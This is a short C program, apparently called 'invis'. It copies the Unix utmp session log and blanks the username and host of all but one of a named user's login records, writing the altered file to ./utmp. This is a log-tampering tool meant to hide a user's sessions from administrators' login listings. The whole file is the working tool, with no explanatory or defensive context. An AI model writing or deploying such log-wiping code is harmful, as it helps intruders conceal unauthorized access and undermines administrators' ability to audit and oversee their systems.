#include <utmp.h>
#include <stdio.h>
#define true 1
#define false 0

main(int argc,char *argv[])
{
        char buf[250];
        FILE *fl;
        struct utmp *mytmp[1000];
        int i,j;
	int allow;
 
        for(i=0;i<1000;i++) mytmp[i]=(struct utmp *)malloc(sizeof(struct utmp));
        if (!argv[1])
        {
                printf("\n\rUsage: invis <login_name>\n\r");
                exit(1);
        }
	allow=false;
        fl=fopen("/etc/utmp","rb");
        i=0;
        while(!feof(fl))
                fread(mytmp[i++],sizeof(struct utmp),1,fl);
        fclose(fl);
        fl=fopen("./utmp","wb");
        for(j=0;j<i;j++)
        {
                if (!strcmp(mytmp[j]->ut_name,argv[1])&&allow==false)
		{
		allow = true;
		}
		else if (!strcmp(mytmp[j]->ut_name,argv[1]))
                {
                        memset(mytmp[j]->ut_name,'\0',8);
                        memset(mytmp[j]->ut_host,'\0',16);
                }
                fwrite(mytmp[j],sizeof(struct utmp),1,fl);
        }
        fclose(fl);
}
